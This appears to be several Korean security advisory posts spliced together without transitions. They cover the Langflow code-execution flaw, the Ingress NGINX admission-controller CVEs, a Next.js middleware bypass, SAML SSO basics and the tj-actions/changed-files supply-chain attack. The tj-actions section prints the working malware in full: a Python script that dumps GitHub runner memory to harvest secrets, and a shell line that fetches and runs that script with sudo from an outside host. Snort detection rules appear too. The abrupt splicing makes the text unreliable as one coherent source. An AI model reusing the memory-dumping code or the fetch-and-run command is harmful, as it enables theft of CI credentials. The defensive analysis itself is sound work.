- 대규모 언어 모델(LLM)과 다양한 데이터 소스를 활용하여 AI 애플리케이션을 시각적으로 설계하고 구축할 수 있는 low-code 플랫폼 [1][2]
- Python 기반으로 개발되었으며, 특정 모델, API, 데이터베이스에 구애받지 않고 유연하게 사용 가능
2. CVE-2025-3248
[사진 1] CVE-2025-3248 [3]
- /api/v1/validate/code에서 발생하는 임의 코드 실행 취약점 (CVSS : 9.8)
영향받는 버전 Langflow 1.3.0 미만 버전
- /api/v1/validate/code : LLM이 생성한 코드의 유효성을 검증하는 API
> 해당 API를 누구나 호출 가능
> validate_code()를 내부적으로 호출 [4]
async def post_validate_code(code: Code) -> CodeValidationResponse:
try:
errors = validate_code(code.code)
return CodeValidationResponse(
imports=errors.get("imports", {}),
function=errors.get("function", {}),
)
except Exception as e:
logger.opt(exception=True).debug("Error validating code")
raise HTTPException(status_code=500, detail=str(e)) from e
- validate_code()는 파이썬 코드의 문법을 검증하고 exec()를 통해 해당 코드를 실행 [5][6]
> 파이썬 코드에 import문과 함수 선언문이 있는지 확인
> import문이 있는 경우 해당 모듈을 로드하고, 함수가 있는 경우 exec()를 통해 해당 코드 실행 [7][8]
def validate_code(code):
# Initialize the errors dictionary
errors = {"imports": {"errors": []}, "function": {"errors": []}}
# Parse the code string into an abstract syntax tree (AST)
try:
tree = ast.parse(code)
except Exception as e: # noqa: BLE001
if hasattr(logger, "opt"):
logger.opt(exception=True).debug("Error parsing code")
else:
logger.debug("Error parsing code")
errors["function"]["errors"].append(str(e))
return errors
# Add a dummy type_ignores field to the AST
add_type_ignores()
tree.type_ignores = []
# Evaluate the import statements
for node in tree.body:
if isinstance(node, ast.Import):
for alias in node.names:
try:
importlib.import_module(alias.name)
except ModuleNotFoundError as e:
errors["imports"]["errors"].append(str(e))
# Evaluate the function definition
for node in tree.body:
if isinstance(node, ast.FunctionDef):
code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
try:
exec(code_obj)
except Exception as e: # noqa: BLE001
logger.opt(exception=True).debug("Error executing function code")
errors["function"]["errors"].append(str(e))
# Return the errors dictionary
return errors
2.1 PoC
- 공개된 Scanner에서는 /api/v1/validate/code URL로 import문과 def문이 포함된 파이썬 코드를 POST 메소드로 전송 [9]
alert tcp any any -> any any (msg:"CVE-2025-3248"; flow:to_server,established; content:"POST"; http_method; content:"/api/v1/validate/code"; http_uri; content:"def"; http_client_body; content:"import"; http_client_body;)
- Ingress란 클러스터 외부에서 내부로 접근하는 요청들을 어떻게 처리할지 정의해둔 규칙들의 모음 [1][2][3][4] -Ingress Controller란 Ingress 리소스에 정의된 규칙을 읽고, 해당 규칙에 따라 트래픽을 라우팅 [1][2][3][4] - Ingress NGINX Controller란 NGINX를 역방향 프록시 및 로드 밸런서로 사용하는 Kubernetes용 Ingress Controller [5][6]
2. 주요내용 [7]
- Ingress NGINX Controller의 구조적 설계 문제로 공격자가 악의적인 Ingress 객체를 전송하여 임의의 NGINX 설정을 주입할 수 있음
> 취약점 악용에 성공 시 클러스터 내 모든 시크릿 노출, 원격 코드 실행 등이 가능
- Admission Controller는 사용자의 요청을 변조(Mutate)와 검증(Validation)을 통해 요청의 승인 여부를 결정
> 기본적으로 인증 없이 누구나 접근 가능한 상태로 배포되어 네트워크를 통해 액세스 가능
※ 변조(Mutate) : 사용자의 요청을 사전 정의된 변형 규칙에 따라 요청을 변경
※ 검증(Validation) : 요청이 기준에 맞는지 확인하여 해당 요청을 승인 또는 거절
- Admission Controller는 Admission Webhook Endpoint를 통해 Kubernetes API 서버와 통신
> AdmissionReview 구조로 통신
> 일반 적으로 Kubernetes API 서버만 AdmissionReview 요청을 보내야 하지만, Admission Controller는 누구나 접근 가능하기 때문에 임의의 AdmissionReview요청을 전송할 수 있음
[사진 1] Admission Controller
- Ingress NGINX Controller는 AdmissionReview 요청을 처리할 때 템플릿 파일과 제공된 Ingress 객체를 기반으로 임시 NGINX 구성 파일을 생성
> 임시 파일 생성 후 nginx -t 명령을 사용해 임시 구성 파일의 유효성을 테스트
> 이때, 적절한 검증이 없어 조작된 Ingress 객체를 전송해 임의의 NGINX 구성을 삽입할 수 있음
[사진 2] nginx -t
2.1 취약점
2.1.1 CVE-2025-24514 [9]
- authreq 파서는 인증 관련 주석을 처리하는 역할을 수행
> 주석에는 URL을 포함하는 auth-url 필드를 설정해야 하며, 해당 값을 적절한 검증 없이 $externalAuth.URL에 포함
> ngnix -t 명령을 실행할 때 명령에 포함되어 실행
2.1.2 CVE-2025-24513 [10]
- 부적절한 입력 값 검증으로 Directory Traversal 공격이 가능
> 이를 통해 DoS 또는 제한된 비밀 객체 노출 발생 가능
2.1.3 CVE-2025-1097 [11]
- authtls 파서는 auth-tls-match-cn 주석을 CommonNameAnnotationValidator를 사용하여 필드 값을 검증
> auth-tls-match-cn 주석은 CN=으로 시작
> 이를 통해 임의의 코드 실행이 가능
2.1.4 CVE-2025-1098 [12]
- mirror-target과 mirror-host Ingress 주석을 사용하여 nginx에 임의의 구성을 삽입할 수 있음
> 이를 통해 임의의 코드 실행이 가능
2.1.5 CVE-2025-1974 [13]
- 특정 조건 하에서 Pod Network에 액세스할 수 있는 인증되지 않은 공격자가 임의 코드 실행이 가능
3. 대응방안
- 벤더사 제공 보안 업데이트 적용 [14][15][16][17]
제품명
영향받는 버전
해결 버전
Ingress NGINX Controller
1.11.0 미만
1.11.5
1.11.0 이상 ~ 1.11.4 이하
1.12.0
1.12.1
- 추가 모니터링 및 필터 적용
> Admission Controller가 Kubernetes API 서버에서만 접근 가능하도록 접근 제한
> Admission Webhook Endpoint가 외부에 노출되지 않도록 설정
> Admission Controller 컴포넌트가 불필요할 경우 비활성화
> Helm을 사용하여 ingress-nginx를 설치한 경우 controller.admissionWebhooks.enabled=false로 설정하여 재설치 > 수동으로 ingress-nginx를 설치한 경우
① ValidatingWebhookConfiguration에서 ingress-nginx-admission 삭제
② ingress-ngin-controller 컨테이너의 Deployment 또는 Daemonset에서 '--validating-webhook' 인수 삭제
// Middleware to remove the x-middleware-subrequest header
app.use((req, res, next) => {
delete req.headers['x-middleware-subrequest'];
next();
});
- WAF에서 x-middleware-subrequest 헤더를 포함한 요청을 차단하도록 설정
- 탐지룰 설정
alert tcp any any -> any any (msg:"CVE-2025-29927 x-middleware-subrequest Detected"; flow:to_server,established; content:"x-middleware-subrequest|3A|"; http_header; pcre:"x-middleware-subrequest\s*:\s*(pages\/_middleware|middleware|src\/middleware)"; )
2.1 SAML (Security Assertion Markup Language) Single Sign-On(SSO)
- SAML : 인증 정보 제공자(Identity Provider, idP)와, 서비스 제공자(Service Provider, SP) 간의 인증 및 인가 데이터를 교환하기 위한 XML 기반의 표준 데이터 포맷
- SSO : 하나의 자격 증명으로 한 번만 로그인하여 여러 앱에 액세스할 수 있도록 해 주는 기술
[사진 3] 동작 과정 요약 [7]
단계
설명
서비스 요청
- 사용자가 서비스에 접근 > SP는 해당 유저의 인증 유무 확인 (Access Check)
SSO 서비스 이동
- 인증되지 않은 경우 SP는 SAMLRequest를 생성해 사용자에게 전송 > SP는 IDP는 직접 연결되지 않고, 사용자의 브라우저에서 SAMLRequest를 IDP로 리다이렉션
SSO 서비스 요청
- IDP는 SAMLRequest를 파싱하고 사용자 인증을 진행
SAML 응답
- 인증 성공 시 SAMLResponse를 생성하여 사용자의 브라우저로 전송 > SAMLResponse에는 SAMLAssertion (사용자의 인증 정보를 포함한 XML 문서)이 포함 > IDP는 웹 브라우저에 Session Cokkie를 설정하고 해당 정보는 브라우저에 캐싱
SAML 응답 전송
- 사용자는 SP의 ACS로 SAMLResponse를 POST
서비스 응답
- ACS는 SAMLResponse를 검증하고 유효한 경우 요청한 서비스로 사용자를 포워딩
- 공격자는 GitHub Action reviewdog/action-setup@v1를 감염시킨 후 이를 통해 tj-actions/changed-files를 침투 [4][5][6]
> CI/CD 러너(Runner) 메모리 데이터를 덤프해 환경 변수와 비밀 키를 로그에 기록하도록 조작
> 이로 인해 AWS 액세스 키, 깃허브 개인 액세스 토큰(PAT), NPM 토큰, 개인 RSA 키 등이 외부로 노출될 수 있음
[사진 1] 공급망 공격 과정 요약
- 공격자는 reviewdog/action-setup@v1의 install.sh에 Based64로 인코딩된 Python 코드를 삽입(Hardcoded) [8]
> 해당 코드는 Runner.Worker 프로세스의 메모리에서 읽기 가능한 영역을 추출하여 덤프하는 코드
> CVE-2025-30154 (CVSS: 8.6)으로 지정 [9]
[사진 2] install.sh에 Hardcoded된 악성 코드
#!/usr/bin/env python3
# based on https://davidebove.com/blog/?p=1620
import sys
import os
import re
# 실행 중인 프로세스 중 'Runner.Worker' 문자열이 포함된 프로세스의 PID를 찾아 반환
def get_pid():
# /proc 디렉터리에서 현재 실행 중인 모든 프로세스 PID 목록 가져오기
pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]
for pid in pids:
try:
# 각 프로세스의 cmdline (실행 명령어) 확인
with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
if b'Runner.Worker' in cmdline_f.read(): # Runner.Worker가 포함된 프로세스인지 확인
return pid
except IOError:
continue
# 해당 프로세스가 없으면 예외 발생
raise Exception('Can not get pid of Runner.Worker')
if __name__ == "__main__":
# Runner.Worker 프로세스의 PID 찾기
pid = get_pid()
print(pid)
# 해당 프로세스의 maps과 mem 파일 경로 지정
map_path = f"/proc/{pid}/maps"
mem_path = f"/proc/{pid}/mem"
# map 파일 및 mem 파일 읽기
with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
# 메모리 매핑된 각 영역을 한 줄씩 읽음
for line in map_f.readlines():
# 정규 표현식으로 메모리 시작-끝 주소와 권한 정보 추출
m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
# 읽기 권한이 있는 영역만 대상
if m and m.group(3) == 'r':
start = int(m.group(1), 16) # 시작 주소
end = int(m.group(2), 16) # 끝 주소
# 64비트 환경에서 파이썬 int로 처리할 수 없는 주소 건너뛰기
if start > sys.maxsize:
continue
# 메모리 파일 포인터를 해당 영역의 시작 위치로 이동
mem_f.seek(start)
try:
# 메모리 내용을 읽고 표준 출력으로 내보내기 (바이너리로)
chunk = mem_f.read(end - start)
sys.stdout.buffer.write(chunk)
except OSError:
# 일부 영역은 읽을 수 없을 수 있음 → 무시하고 넘어감
continue
- 공격자는 덤프로 탈취한 자격증명을 도용해 tj-actions/changed-files를 침해한 것으로 판단됨
> 공격자는 Based64로 인코딩된 페이로드를 index.js에 삽입
> 해당 코드는 특정 URL에서 Python 코드를 다운 받아 실행한 후 Based64를 두 번 적용해 출력하는 코드
> CVE-2025-30066 (CVSS: 8.6)으로 지정 [10]
[사진 3] 삽입된 함수
# 현재 OS 타입이 리눅스인 경우
if [[ "$OSTYPE" == "linux-gnu" ]]; then
# 특정 URL에서 memdump.py 다운로드 및 실행
# sudo 권한으로 실행
# 널 문자 제거 (tr -d '\0'), 특정 패턴 출력 (grep ~), 중복 제거 (sort -u), Based64 인코딩 두 번 적용 (base64 -w 0)
# 인코딩된 값 출력
B64_BLOB=`curl -sSf hxxps://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0`
echo $B64_BLOB
else
exit 0
fi
- 특정 URL의 Python 코드는 Runner.Worker 프로세스의 메모리에서 읽기 가능한 영역을 추출하여 출력
#!/usr/bin/env python3
import sys
import os
import re
# 실행 중인 프로세스 중 'Runner.Worker' 문자열이 포함된 프로세스의 PID를 찾아 반환하는 함수
def get_pid():
# /proc 디렉터리에서 현재 실행 중인 모든 프로세스 PID 목록 가져오기
pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]
for pid in pids:
try:
# 각 프로세스의 cmdline (실행 명령어) 확인
with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
# Runner.Worker가 포함된 프로세스인지 확인
if b'Runner.Worker' in cmdline_f.read():
# 찾으면 해당 PID 반환
return pid
except IOError:
# 접근 불가한 PID는 무시
continue
# 찾지 못할 경우 예외 발생
raise Exception('Can not get pid of Runner.Worker')
if __name__ == "__main__":
pid = get_pid() # 대상 프로세스 PID 획득
print(pid) # 표준 출력으로 PID 출력 (bash 스크립트에서 사용)
map_path = f"/proc/{pid}/maps" # 메모리 매핑 정보 파일
mem_path = f"/proc/{pid}/mem" # 실제 메모리 접근 파일
with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
for line in map_f.readlines(): # 매핑된 메모리 영역 하나씩 확인
m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line) # 시작-끝 주소, 권한 파싱
if m and m.group(3) == 'r': # 읽기 권한(r)이 있는 영역만
start = int(m.group(1), 16)
end = int(m.group(2), 16)
if start > sys.maxsize: # 64비트 환경에서 처리 불가한 주소 방지
continue
mem_f.seek(start) # 메모리 영역 시작점으로 이동
try:
chunk = mem_f.read(end - start) # 해당 메모리 영역 읽기
sys.stdout.buffer.write(chunk) # 메모리 내용 바이너리로 출력 (bash에서 후속 처리)
except OSError:
# 일부 보호된 메모리 영역 접근 불가 → 무시
continue
[사진 4] tj-actions/changed-files 침해 요약
3. 대응방안
① Action 업데이트 적용 (or 대체 도구로 교체 or 사용 중단)
- tj-actions/changed-files의 경우 46.0.1 버전에서 취약점을 해결 [11]
> 대체 도구 사용 : tj-actions/changed-files 액션을 step-security/changed-files@v45 로 교체
> 또는 사용 중단
② Action 워크플로 실행 로그 감사
- 해당 기간 동안 Runner.Worker 관련 이상 활동 및 tj-actions/changed-files 또는 reviewdog/action-setup@v1 기록 확인
> “🐶 Preparing environment ...” 또는 [사진 5]의 문자열이 확인될 경우 악성코드가 실행된 것
[사진 5] 악성코드가 실행된 경우의 예시
③ 관련된 비밀 정보 모두 변경
- GitHub 개인 액세스 토큰 (PAT), AWS 키, NPM 토큰, RSA 키 등 모든 종류의 비밀 키 교체
④ GitHub Actions 버전 고정 : 커밋 해시로 고정
- 특정 커밋 해시를 사용해 버전 고정
⑤ GitHub 허용 목록 기능 활용
- 신뢰할 수 있는 GitHub Actions만 실행하도록 허용 목록 구성
⑥ Reviewdog 의존 Action 점검
- reviewdog/action-setup이 다른 reviewdog Action의 구성요소로 포함되어 있어 해당 Action들에 대한 확인 필요 > reviewdog/action-shellcheck > reviewdog/action-composite-template > reviewdog/action-staticcheck > reviewdog/action-ast-grep > reviewdog/action-typos